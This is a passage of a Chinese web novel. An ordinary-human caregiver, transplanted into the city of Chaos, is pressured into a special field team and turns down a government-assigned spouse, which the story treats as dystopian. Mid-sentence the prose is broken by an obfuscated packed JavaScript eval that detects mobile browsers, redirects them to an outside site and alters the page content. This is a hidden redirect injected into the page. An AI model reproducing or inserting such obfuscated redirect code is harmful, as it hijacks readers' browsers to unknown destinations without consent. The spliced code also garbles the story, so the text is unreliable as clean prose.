崔美来到查奥斯也没有几天，除了自己亲身经历过的，其他内容只能按照系统回溯的内容一一老实回答。 没多久，他们就到了中心区特事管理处的大楼。 此刻已经是查奥斯历35年3月15日夜里9点多，特事管理处大楼高耸入云，灯火通明。 停在特事管理处大楼前的只有崔美乘坐的那辆车，其他人乘坐的隔离车，以及最后一辆装着封闭箱子的那一辆车，都不见了踪影。 “城里工作都这么卷啊……” 下车后，崔美仰着头看向大楼，低声囔囔道。 “走吧。”杜草柯提醒她。 管理处大楼门外，全副武装的工作人员站了两排，在看到崔美下车后严阵以待，他们甚至穿戴着全套的防护服和头盔。 就算看不到模样，崔美也能感受到空气里紧张严肃的氛围。 进入大楼后，立刻有专员带崔美进入到地下五层，整个地下五层的墙体都是特殊金属板材墙面，空间里冷白色调，到处都是穿着研究服戴着口罩的人，崔美猜测这是研究所之类的地方。 随后崔美就被人带着进行了全身的消毒和各项奇奇怪怪的检查。 抽血、扫描、眼睛耳朵鼻子嘴巴喉咙，能检查的地方，统统没有放过。 最后，才终于有个普通职员模样的人，带着崔美来到了17层。 “这里有洗漱房和休息室，我们还给你准备了一套新的干净衣服，我们也理解刚刚结束工作或许你很累，但这会儿已经23点17分……” 普通职员模样的人抬手看了看腕间的通灵，说道，“忘了介绍，我叫李子云，是危机中心吴理主任的助理，他们还在会议室等你，洗漱好，我就带你过去。” 助理李子云天生一副笑脸，尽管言语间充满礼貌客气，但催促感不容忽视。 进入洗漱房，崔美才看到，特事管理处不仅给她准备了全新的疗养处工作制服，甚至还有一块新的通灵。 摸向手腕，她才发现自己的那一块，不知道在什么时候弄丢了。 这东西是联合政府发给职工的，也不知道弄丢了要不要赔钱。 在查奥斯里，为联合政府工作的每个工作人员，手腕间都会配有一块记录员工个人信息、芯片独一无二的智能手表一样的装置，叫做“通灵”。 这东西不仅可以作为普通的工作用通讯工具，也可以作为即时办公工具。 系统二狗说还有更多其他用途，但崔美还没解锁使用过。 第一次听到这东西的名字时，崔美直接发出一声干脆的爆笑，一个联络工具居然叫做“通灵”，这个赛博“通灵”跟她那个世界的“通灵”可以说是两模两样。 在她眼里，算是一个只有她能懂的阴间笑话。 崔美时不时就会觉得，查奥斯的人是不是喜欢搞抽象。 重新恢复干干净净的清爽状态后，李子云带崔美来到了特事管理处大楼的十八层。 推开一间会议室的大门，长桌两侧，已经坐了几个人。 “主任，人我带来了。”助理李子云对长桌一头的人说道。 崔美看向那个看起来神情严肃，甚至面带些苛刻模样的小个子，应该就是李子云的领导，危机中心的主任吴理。 长桌右侧的人崔美认识，这个人就是他们疗养处的处长，柏苏。 因为柏苏很爱给护工们开会，崔美刚穿 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倒是纸人状态时的脸，看起来没这么严肃，反而有些怪诞的可爱感。 “我是特事管理处危机中心的主任，吴理。” 吴理开门见山地介绍道，她抬手向左，“这位是机械武装处的处长，庄炎，她旁边的是主任陆仁。也就是这次跟你们同样在归墟场内执行任务的，明仲的领导们。” 随后，她看向柏苏，示意让她来继续说。 在来特事管理处的路上，从杜草柯接二连三的问话中，崔美就察觉到了不对劲。 会议室内所有人都看向崔美，但她并不打算先说什么，而是把目光抛回给自己的顶头上司柏苏，她露出人畜无害的疑惑神情，没有讲话。 “你愿意加入疗养处的外勤一组吗？组长会是白见真，你可以考虑一下，联合政府尊重你的决定。” 柏苏面带微笑，看向崔美问道。 “我不同意普通公民加入。” 从崔美进入会议室时，庄炎就在观察这个普通得不能再普通的普通人类护工。 她并不同意特事管理处做这样的决定，说是会尊重员工意见，但难保普通公民会为了前途和联合政府提供的资源头脑发热做出冲动的选择。 庄炎始终都觉得，普通公民只适合生活在保护区内，甚至不应该加入这些充满危险的工作。 她反对的原因，并不是因为查奥斯的繁衍发展需要普通公民，而是同样错误的选择和悲剧的结果，在二十五年前已经发生过。 重复选择，也不会有什么不同。 “我不同意。”几乎是同时，白见真和庄炎说道。 庄炎意外地看向白见真，她会出声反对，是庄炎没能想到的。 “白见真，这里还轮不到你反对，你作为组长，该怎么做，自己应该清楚。” 柏苏一反平日里温和、慈祥的态度，对白见真严厉道。 白见真坐在崔美旁边，明明她们跟柏苏隔着一张长长的会议桌，白见真跟状态松弛的崔美完全不同。 她一副正襟危坐的姿态，紧绷的后背和肩颈能感觉到她在面对疗养处处长柏苏时的紧张。 白见真跟崔美坐的距离很近，她不仅能感觉出来白见真紧张、焦虑的情绪。 更能闻到从白见真身上飘出的淡淡柑橘香。 崔美并不清楚疗养处的外勤一组有什么不一样之处，她在脑中询问系统二狗，结果二狗又给她玩失踪。 白见真看向她，轻轻摇了摇头。 崔美见白见真面如死灰，长桌下面，白见真垂放在身侧的手挪动到崔美腿旁边椅子的空处上，轻轻敲击着。 而在杜草柯拦在崔美和白见真中间时，白见真拉住崔美的手腕，在杜草柯视线没注意到的地方，同样悄悄在崔美手腕间也敲动着手指。 哒———哒、哒！ 彼时崔美躲在棺材内听到的声响，与刚刚手腕间的触碰，和此刻椅子旁规律的敲击，形成节奏高度一致的吻合。 代表摩斯密码“K”字的敲击节奏，再次响起，哒———哒、哒！ “别怕” 11. 联合政府对象包分配 结束在特事管理处的调查后，崔美难得拥有了一个短暂的三天休假。 说是休假，实际上对崔美来说，查奥斯也没有什么可去的地方。甚至短短三天里，第一天她用来搬家，第二天用来搬家后重新收拾屋子。 她从原本免费但简陋的员工宿舍，搬到了中心区的高级员工公寓。 之前的宿舍在中心区边缘靠近南城，下了班还要乘坐公共交通才能到达，而现在的高级员工公寓距离特事管理处和疗养处都非常近，甚至靠步行就可以到达中心区的各大场所。 地理位置便捷不说，居住环境更大更舒适，最主要的是员工可以免费居住。 在休假的第三天，崔美才终于有机会出门逛逛。 直到今天为止，她来到查奥斯的日子，连十天都不到，除了在上班就是出外勤被蜘蛛人抓，更别说出门逛逛了。 但她并不打算在中心区逛，而是坐上公共交通，直奔南城。 查奥斯的主城区划分为五大区域，中心区域作为城市的枢纽，自然囊括了联合政府各大单位办公地，为了政府职工的工作生活便利，中心区吃喝玩乐应有尽有。 东、西、北三城分别居住着不同等级的公民，崔美作为普通公民没有去过这三个城区，也搞不清它们分别具体是如何细致规划的。而其他普通公民，也只有在与异能化的分等级公民成为家人的情况下，才能在这三个城区生活。 只有南城情况最复杂，那里生活着没有异能化的普通人类公民，尽管对外宣称，南城始终在联合政府的保护下，普通公民可以安心居住，没有通行证的异能化公民无法进出，而通行证的获取也相当严格。 但南城实际上鱼龙混杂，算是整个查奥斯目前最容易发生突发状况的地区。 公共交通行驶至中心区域与南城交界处便到达了终点，崔美下车后，就看到了马路对面南城的出入口。 进入南城入口时，一路上远远跟在崔美身后的一个人影，才终于因为没有通行证被拦在了外面。 那是特事管理处、特殊行动组下属安全巡查队的一名调查员。从三天前离开特事管理处后，只要崔美外出，就会一直跟着她。 昨天夜里，终于整理好房间后，几天前在归墟场内怪异经历的压迫感才涌了上来，崔美需要吃一些人类美食缓解心情，于是她想到了麻辣烫。 她迅速打开员工论坛，在上面搜索关键词“麻辣烫”，居然真的被她搜到了一条叫做“强烈推荐南城美食砂锅麻辣烫”的帖子。 尽管发帖时间过于久远，显示年份甚至是查奥斯历10年，但最近一次的跟帖评论就发生在去年，崔美打算一觉睡醒就去南城碰碰运气。 崔美根据帖子中的描述，在地形复杂的南城七拐八拐，最后闻着味儿终于找到了那家店铺，在一条小巷子里，生意却异常红火。 还没吃到嘴里，崔美就知道来对了，就是这个味儿！ 老板是个年轻健谈的姑娘，结账时，热情的老板还推荐了麻辣烫的外卖服务。中心区与南城的外卖并不互通，崔美颇感遗憾，最后在老板推荐麻辣烫料理包时，崔美痛快地与老板添加了联络方式。 离开南城出口后，那名调查员果然又一次远远跟在了崔美身后。 直到回到公寓，崔美的肚子都还撑得难受，隔天还要早起回到疗养处继续上班，而夜里，她居然难得的失眠了。 在床上反复烙大饼时，崔美想到之前暗暗使用摩斯密码安抚她情绪的白见真。 被陆仁带着在特事管理处做权限录入时，崔美试探着问白见真，在医疗中心净化后，也还是想不起来归墟场里她忘记的事吗？ 崔美从白见真那得到的答案，依旧是不记得了。 难道最开始救了她的人，不是明仲？ 但这些问题，显然不是眼下崔美就能得到答案的，更令她苦恼的，是那名被特事管理处派来，以保护外勤一组普通公民安全为任务，一直跟着她的那名调查员。 她同意加入外勤一组，结果多了这么一个麻烦。 · 调查日当天夜里，特事管理处十八层会议室。 崔美以为杜草柯口中的“配合调查”，无非就像影视剧里那样，被关进昏暗幽闭的审讯室，一盏亮灯对着她的脸晃来晃去，再加上一拨又一拨的人车轮战式的严刑拷问。 在查奥斯这种地方，说不定还会体验到先进的异能审讯。 总之，无论如何，都不会是现在发生在崔美眼前的情形。 作为需要被调查人物之一的崔美，居然成了瓜田里看热闹的猹。 “柏处长，白见真她也没说什么过分的话吧？至于这么凶一个小姑娘吗？还是说，因为她和我一样，都对管理处的建议，持反对意见？” 庄炎还没等柏苏继续说下去，她提高了音调，再次大声反问道，“况且，有人问过白见真的意见吗，不尊重公民自主意愿，直接安排到外勤一组，管理处就是这样一个讲究人权的地方？” 突然被点名的白见真僵住了身体，她看向庄炎，却不敢把目光投向处长柏苏，难得在她身上看到踌躇模样，“我……” 柏苏拧紧了眉毛盯着白见真看，一副恨铁不成钢的表情。 见柏苏又准备张嘴说什么的样子，吴理迅速站起身，抬手安抚道，“庄处长！柏处长！咱们在开会，在商量管理处的建议，这不是还没最终做决定吗？赞同也好，反对也罢，我看，不如先把管理处的文件给崔美和白见真这两位小朋友看一看，等看过文件，大家再发表意见讨论。” 吴理在管理处工作二十多年，最擅长处理这种乱成一锅粥的场面，她推了推鼻梁上的眼镜，眼神在柏苏和庄炎脸上扫过，最后看向在长桌尽头与她对坐的崔美和白见真。 “至于最后她们两个人斟酌过后，又会做什么样的决定，我们也没办法强迫，不是吗？” 十八层第九会议室内一片昏暗，只有会议桌上方悬浮着一个360度全息画面，不断地闪着图像和文字资料。 上面是崔美和白见真的身体检测报告，以及关于建议她们加入外勤一组的文件内容。 外勤一组说是属于疗养处，实际上区别于疗养处其他组别，特事管理处具有对外勤一组的直接管理权，说这是属于特事管理处的外勤一组也不为过。 目前有意向吸收崔美和白见真两名成员，日后会根据需要无限扩张组员，通过管理处危机中心直接派发任务，此后不管新增加的组员来自于联合政府的哪个部门，统一归属于【外勤一组】。 图文资料上倒是并没有任何特别之处，崔美和白见真的身体各项指标，以条状图形的模式更直观地展示在全息画面中。 而白见真通过最新的身体检测，在异能等级这一栏下面，除了标注了B级公民，还有了更细致的划分，其中一项显示为B0→B1。还有一栏长得像温变表，从红色渐变至绿色，带指针可滑动，指针指向中间偏右的浅黄色位置，那是无物影响指数。 属于崔美的那部分资料，其实就跟她每年的体检报告差不多，只不过异能等级那一栏下面是一片空白，细致划分处自然也是空白。 唯独无物影响值那一栏，指针几乎指向顶头的绿色。 关于加入外勤一组的文件内容，也正是围绕这一点展开的。 文件里表示，希望崔美和白见真加入外勤一组的理由，正是由于她们在归墟场任务中的出色表现，经过检测，无物影响值等数据证明，疗养处的两位护工身体素质健康、优异。 通俗点来说：她们不太会受到污染物的影响，即便受到污染，白见真也能够在里域空间恢复自主意识，这已经非常难得。 毕竟连明仲这种中高梯队B级，此时此刻都还躺在医疗中心接受净化治疗。 而崔美作为一个普通公民，无物影响指数的表现竟然比白见真还要优秀。 崔美看着那些密密麻麻花花绿绿的数值图标，她扭头看向白见真，露出一副崇拜的迷妹模样，感慨地说：“见真好厉害，是B1，你居然在B级里面排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917610|177027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一诶！” 崔美声音并不大，但在过分安静的会议室里，音量堪比被放大十倍。 原本还因为庄炎和柏苏的过度关注，整个人陷在焦虑中的白见真，在听到崔美的问题后，反而心情放松了许多。 她压低着声音解释说，“ABC每一级别都有从0到9的细致等级划分”，抽搐着嘴角，白见真补充说，“0为最低，9为最高。B0-B1的意思是，我在这次的检测中，能力评级与最初末端的B0级，仅仅上升了一个档。整体评级还属于B级的倒数第二梯队。” “这还不厉害吗？你进步了！”崔美稍微大声了些说。 随后她抬手指向画面资料中，特事管理处关于重启外勤一组的文件内容，“加入外勤一组后工分翻倍、搬入中心区核心员工公寓，这些福利待遇我都能够看懂，但哪位领导可以讲一讲最后面那一条是什么意思呢？” 崔美看了看白见真又看向柏苏，“联合政府将为外勤一组成员崔美、白见真分配B级B5-B9梯队配偶这一条，这居然是员工的特级福利？” 看到这一条时，崔美差点绷不住情绪，她实在是不想继续扮演原主那副窝囊又老实的模样了，在如此发达的世界，为什么会有给员工分配对象这种离谱又可怕的事发生。 不仅没有人觉得这种事情不对劲，甚至会被当做特级员工福利存在。 崔美皱着眉头看着跟她同样“幸运”，被分配配偶“福利”的白见真。 白见真看起来面色从容，淡淡回复道，“联合政府普通职工的员工福利，仅限于分配这一项，是普通福利，达不到特级福利的水平。” 但她的手在桌子下面攥紧了拳头。 【主人好，二狗的查奥斯科普时间到：查奥斯人口水平在近年来趋近于负增长，尽管异能化公民不再会面临老、病、死这三种危机。但普通公民会经历自然死亡，能量场浑浊、异能化公民遭遇污染导致病人化，低阶异能化公民强行进化导致等原因，查奥斯面临人口危机。为此，查奥斯联合政府启动配偶分配制度，联合政府职工具有优先配偶选择权】 对崔美而言，在火葬场工作简直是逃避催婚和媒婆介绍对象的好借口。 但现在她穿越了，她明明已经穿越到了另一个世界，以为终于没人催婚，也不会有媒婆给她上赶着介绍对象，为什么改成直接分配配偶了啊！？ 这还是现代社会吗？这还是新人类社会吗？ 这不是废土，这儿才是真正的末日吧？！ “你刚刚反对我加入外勤一组，是这个原因吗？”崔美直接问坐在旁边的白见真。 白见真松了拳头，改成手指抠着裤缝，她抿着嘴巴看了一眼柏苏。 没说是，也没说不是。 “看各位领导的意愿，是希望我可以加入外勤一组，好好为联合政府服务的，对吧？但我可以有个小小的要求吗？” 崔美看向一脸期待的吴理主任。 吴理笑意盈盈点着头，只要能完成管理处领导给她下达的任务，别说一个要求了，十个都可以考虑。 “我可以不要员工福利，我的意思是，工分翻倍和免费员工公寓这两项是需要保留的。” 崔美把嘴巴扯出一个看起来微笑的弧度，“免费配偶的那一项福利，我就不要了哈。” “算命的大师说了，我克夫。” 然后崔美扭过头对白见真眨眨眼，“咱俩一起去看的算命先生，那位大师怎么说来着，说咱们天生寡妇命，谁来了都会克得魂飞魄散，对不？” 白见真听到她这样说，显然一愣，随后飞快反应过来，匆忙点了点头。 见白见真点了头，崔美才满意地露出一个自然的微笑，“这种福利我们俩只能看无福消受啊，太可惜了，不过咱们管理处的领导可以给自己留着，就不用赏给我们了哈。” 崔美在桌子下悄悄拍了拍白见真的手背，她回忆着相同的节奏，拍了拍： 哒———哒、哒！ “你也别怕” 12. 重启外勤一组 整个调查会议在崔美同意加入外勤一组后就进入了尾声，并没有持续太久。 甚至在白见真身上也没有耗费太多时间，她似乎想都没想就同意了，并被任命为外勤一组的临时组长一职。 “几乎没人会拒绝联合政府的配偶福利，至少我工作的这些年里很少见。”在会议最后，吴理手扶了扶镜框，透过缝隙看向崔美和白见真，似乎对有人拒绝福利还有些感到遗憾。 崔美总觉得吴理的余光瞥向了庄炎，也可能是她的错觉。 吴理音调明显愉悦很多，她继续说道，“虽然员工手册上都有详细说明，但你们年轻人可能也不会仔细看，我在这里再次口头重申一下，关于日后的晋升问题，联合政府有相关的职工晋升制度。” 一段被摘选的员工手册内容，以放大加粗的纯文字形式，替换掉了组建外勤一组的信息资料，被吴理用她手腕上的灵通投放在会议室中央的全息屏。 【晋升评价将参考员工积分情况，参考比例80%。积分情况可分为：个人积分与家庭积分两种计算方式。 参与联合政府晋升的职工必须为查奥斯合法公民，持有效查奥斯公民证件，为联合政府工作期限满五年并连续缴纳公民保险和个人所得税。 个人晋升积分：由工作年限、任务工分累积、政府奖励等构成； 家庭积分晋升：所有家庭成员须满足个人晋升积分条件，新增子女家庭成员时，子女个人积分为家庭积分总和的30%，所有家庭成员积分累积为家庭积分总和。 （详细计分规则参照手册附录） 另注：每名员工只可在个人积分和家庭积分制中二选一】 崔美：？ 她看着晋升评价的积分计算方式，只感到荒唐无比，职工晋升与婚恋、生育有关，这整个积分制度，甚至还不如她原本那个世界里，小汽车摇号的积分制度谨慎。 阅览晋升规则这件本应该严肃认真的事儿，在崔美放飞的想象中瞬间变得幽默起来：她好奇查奥斯里那些单身、不婚主义的员工，是不是就失去了竞争晋升的机会。 “你们还太年轻了，放弃政府福利的员工，通常在日后联合政府的工作晋升道路上，就会比同期艰难许多，没人会在有大好前途的情况下，拒绝锦上添花的机会。” 吴理说着话时，似乎对柏苏有所顾忌，但她看起来又十分想再劝说崔美和白见真，最终只好妥协说，“为了避免你们日后会后悔，配偶福利我先为你们两个人保留。” 她语重心长道，“加入外勤一组，才给你们做的推迟和福利保留，普通职工可没有这种待遇哦，查奥斯的公民，应该为了联合政府的‘新生计划’积极出力才对。” “另外，”吴理看向崔美，“加入外勤一组相当于晋升，由于普通公民职工身体没有异能化，无物影响值受干扰因素众多，特事管理处将会对你进行为期49天的观察期，不用有其他想法，这只是对你高度优异的无物影响值的观察，不会影响你的日常工作生活，你可以当调查员不存在，你的调查员会是特殊行动组下属成员，这位调查员在必要时刻，也可以保障你的基本生命安全。” 崔美并没有太多可以选择的机会，她只好点点头，表示听懂了。 “各位，我还要带着崔美和白见真在管理处做些权限录入和其他工作，时间紧迫，我们就先离开了。” 吴理收好面前的电子屏，完成上级交代的任务后长长松了口气。 她冲崔美和白见真挥挥手，“姑娘们跟我走吧。” 接着，一直也没太多话语权的陆仁也打算先离开，他悄悄瞥了眼白见真，低声跟庄炎说，“我先去医疗中心看看明仲他们，听说净化还要几天才能完成。” 只一会儿工夫，吵嚷热闹的管理处十八层会议室里，只剩下柏苏和庄炎两个人，她们隔着会议室的长桌，谁也没有要离开的意思。 高楼外夜深人静，明月高悬在深不见底色的夜空中。 续了几轮的保温杯里早就没了茶香，庄炎并没有看向她对面的柏苏，而是望向窗外的夜色，她轻轻敲点着桌面，半晌终于对着夜空张了口。 “柏苏，二十五年过去了，你还给那个孩子起名叫白见真，过去的事儿，就不放下吗？” “你知道归墟场里的任务是怎么结束的吗？” 柏苏没有直接回答庄炎的问题，而是反问道。 刚刚在会议室中的所有人，没有人会不知道这个问题的答案，在全息画面的资料中有关于派单系统故障的说明，以及归墟场任务的相关报告。 上面明确写着，由于特殊行动组的介入，以及归墟场里域空间能量波动值降低，特殊行动组找到了里域空间与现实世界连接通道的突破口，进而轻松结束了归墟场的任务。 而任务评定系统与派单系统一同受到地磁暴影响，派单任务等级十八，同样也是误判，甚至由于任务目标焚化工的无物污染度并不能达到十八级，连接通道被特殊行动组突破的同时，由于受污染空间变大，无物污染密度降低，促使任务正常结束。 柏苏继续说，“你跟那群人一样，相信特事管理处的结案报告吗？任务确实结束了，因为形成里域空间、导致重度污染的无物被彻底清除了。” 庄炎终于停下轻点桌面的手指，收回视线错愕地看向柏苏，又瞥了眼会议室里的监控器，她压低着声音向柏苏的方向凑近，“这不可能，结案报告里并没有写，你怎么……” “特殊行动组在现场收集到的资料，经检测，收集着无物之线的线团上，污染也被彻底净化了。”柏苏看着庄炎颤动的眼球，神色如初，她继续说着，“一同被带回来的，还有其他东西。” 话只讲到一半，在看到庄炎瞬间睁大的双眼时，柏苏轻轻点了点头。 转过身，柏苏也向窗外看去，她微眯着双眼看着浓重夜色中愈发明亮的月亮，“很快，整个联合政府都会知道，外勤一组被重启，又有一个普通公民加入了。” “就像二十五年前那样。” · 休假结束的次日。 顶着一对巨大黑眼圈，崔美嘴里还叼着在路上便利店买的大肉包子，不早不晚踩着点儿在疗养处门口的虹膜机子上完成了上班打卡。 她昨天一整晚都睡得不太好。 抛开她真的吃了太多，连麻辣烫的汤都喝了，确实很撑不说，心里面有些事儿堵在那，确实很难安心入睡。 归墟场的任务已经结束了几天，甚至结案报告她也在特事管理处十八层的会议室中见到过，但这一场莫名结束的外勤任务，却成了崔美心里的疙瘩。 归墟场里一定发生了什么她不了解的事情，才会促使她和白见真被要求加入外勤一组。 特事管理处的文件说得好听，“建议加入”，实际上她和白见真根本没得选。 白见真不管怎么看，都是一副很害怕她们疗养处的处长柏苏的模样，当时关于加入外勤一组的建议刚刚公布，崔美就看到柏苏看向白见真的表情，完全不容白见真拒绝。 吴理主任在询问白见真时，果然白见真毫不犹豫就答应了。 崔美原本是打算拒绝加入外勤一组的。 她留在查奥斯的打算，就算这里人类可以进化身体，产生异能，甚至还可以长生不死，但这些跟她并无关系。 并不是因为崔美本身只是普通公民，在查奥斯，听说普通公民也会通过一些特殊手段，刺激基因的转变，从普通人类的身体进化至异能化。 崔美并不想取代“崔美”，她不想取代任何人，她只想做她自己，就算她只是个拿 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而普通公民作为非异能化人类，繁衍能力最为优秀，会在成年后就进入“新生计划”的人才库，优先与异能化公民配对。 也就是说，如果崔美拒绝加入外勤一组，在重新回到疗养处不久后，就会由于什么“新生计划”，被迫接受安排好的配偶。 她甚至不能拒绝，因为她只是个繁衍能力还不错的普通公民。 只有加入外勤一组，接受这从天而降的“晋升”，她才能在自己普通公民的身份背景下，有选择的权利。 崔美只能硬着头皮加入外勤一组，或许只有这样，才能帮到原主。 系统里短短七天的记忆回溯，原主作为疗养处里唯一一个普通公民，是处里出了名的老实人，工作勤勤恳恳、从不偷懒，只要是麻烦的、累的工作，大家都会丢给她做。 甚至原主崔美也知道大家都是什么心理，但她从来都是笑一笑，全盘接收，黝黑的眼珠子在阳光底下格外锃亮。 但就是这样一个每天唯唯诺诺、本本分分上班的小姑娘，把自己的存在感一再降低，回溯里的资料甚至可以算得上是职场里非常窝囊的一个人，也还是会有人给她穿小鞋，使绊子。 只因为她是个普通公民，是一个没有家人独自住在员工宿舍的普通公民，更是个没有任何靠山的单身普通公民女性。 会有人因为听说她是单身、尚未择偶的普通公民，就徘徊在疗养处大楼外，或者员工宿舍附近，张嘴闭嘴就是异能化公民能看上她一个普通公民，简直是她的福气。 又或者那种满嘴说着自己多么优秀，在联合政府的发展会多有前景，转头就问她愿意生几个的。 这些话题最后，无一不落到“查奥斯公民总要支持新生计划，积极繁衍”上。 原主崔美在回溯里，似乎从来都不会说“不”，更不会拒绝别人的要求。 但每一个急于“繁衍”的人，都被原主崔美拒绝掉了。 而在员工宿舍里，崔美看到了属于原主崔美的个人信息表，那是一张作废的“新生计划”普通公民的人才入库表格。 申请入库承诺那一栏里写着：我自愿人才入库，为查奥斯“新生计划”繁衍生息做贡献。 然后被狠狠地划掉了，甚至划烂了纸。 自从来到查奥斯，这个复杂难以捉摸的新世界就让崔美心累，她只想赶紧回到原来的世界继续摸鱼混日子生活。 但如果在查奥斯扮演原主崔美的这段时间里，可以让一个女孩子拥有选择的权利和话语权，那她愿意为此多留一段时间。 尽管没人会记得她来过查奥斯，但或许那个跟她同名的女孩，漂亮的眼睛会更亮。